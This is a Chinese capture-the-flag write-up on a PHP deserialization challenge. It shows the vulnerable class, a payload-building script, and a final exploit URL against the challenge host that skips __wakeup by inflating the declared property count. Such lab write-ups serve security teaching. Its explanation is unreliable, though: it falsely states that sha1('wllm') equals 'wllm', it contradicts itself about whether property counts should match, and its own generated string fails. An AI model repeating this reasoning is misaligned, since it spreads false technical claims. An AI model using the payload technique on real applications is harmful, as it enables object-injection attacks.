
打开题目后,点击三个?,发现是一个php序列化脚本
<?phpheader("Content-type:text/html;charset=utf-8");
error_reporting(0);
show_source("class.php");class HaHaHa{public $admin;public $passwd;public function __construct(){$this->admin ="user";$this->passwd = "123456";}public function __wakeup(){$this->passwd = sha1($this->passwd);}public function __destruct(){if($this->admin === "admin" && $this->passwd === "wllm"){include("flag.php");echo $flag;}else{echo $this->passwd;echo "No wake up";}}}$Letmeseesee = $_GET['p'];
unserialize($Letmeseesee);?>
这个PHP脚本包含一个反序列化漏洞,可以通过精心构造的序列化字符串来利用。下面是对脚本的分析和如何绕过限制的解释:
-
class HaHaHa:定义了一个名为HaHaHa的类,该类有三个公共属性:admin、passwd,以及三个魔术方法:__construct、__wakeup和__destruct。 -
__construct:在对象创建时自动调用,设置admin为"user",passwd为"123456"。 -
__wakeup:在对象反序列化时自动调用,将passwd通过sha1函数加密。 -
__destruct:在对象销毁时自动调用,检查admin是否为"admin"且passwd是否为"wllm"。如果是,则包含flag.php文件并输出$flag;否则,输出$passwd和"No wake up"。 -
$Letmeseesee = $_GET['p'];:从GET参数p中获取值,并尝试对其进行反序列化。
为了绕过这个限制并获取flag,你需要构造一个序列化字符串,使得反序列化后的对象满足admin为"admin"且passwd为"wllm"。由于__wakeup方法会改变passwd的值,我们需要利用PHP反序列化中的一个特性:如果序列化字符串中的属性数量与实际属性数量不匹配,__wakeup方法不会被调用。
这是解题所用到的php反序列化脚本:
<?phpclass HaHaHa {public $admin = "admin";public $passwd = "wllm";
}// 创建一个HaHaHa对象
$obj = new HaHaHa();// 序列化对象,并减少属性数量以绕过__wakeup
$serialized = serialize($obj);
$serialized = str_replace(':2:{', ':1:{', $serialized);// 输出序列化后的字符串
echo $serialized;?>
在这个脚本中,我们首先创建了一个HaHaHa对象,并设置了admin和passwd的值。然后,我们序列化这个对象,并修改序列化字符串,将属性数量从2改为1,这样在反序列化时__wakeup方法就不会被调用。最后,我们输出修改后的序列化字符串,这个字符串可以用于攻击目标脚本。
将这个脚本直接放到在线网站上运行,即可得到生成的序列化字符串
在线运行PHP这是一个简单方便的PHP在线运行工具,支持在线编译、在线调试和在线结果的实时反馈。
https://www.bejson.com/runcode/php/
O:6:"HaHaHa":1:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
但生成的这个序列化字符串是不可以输出flag的,真正可以输出flag的序列化字符串是
O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
在原始的序列化字符串中,将属性数量从2减少到1,这是为了绕过__wakeup()方法,因为__wakeup()方法会尝试修改$passwd的值。但是,由于$passwd值已经是"wllm",这个值的sha1()哈希值与原始值相同,因此即使__wakeup()方法被调用,也不会影响最终的检查条件。
为了正确绕过__wakeup()方法并满足__destruct()方法中的检查条件,需要确保序列化字符串中声明的属性数量与实际属性数量一致,但故意声明一个错误的数量。因此,正确的序列化字符串应该是O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";},其中声明了3个属性,但实际上只有2个。这样,PHP在反序列化时会将其调整为2个属性,但__wakeup()方法会被绕过,$passwd的值不会被修改,从而满足__destruct()方法中的检查条件,输出$flag
http://node4.anna.nssctf.cn:28225/class.php?p=O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}
访问即可得到flag。

本题完。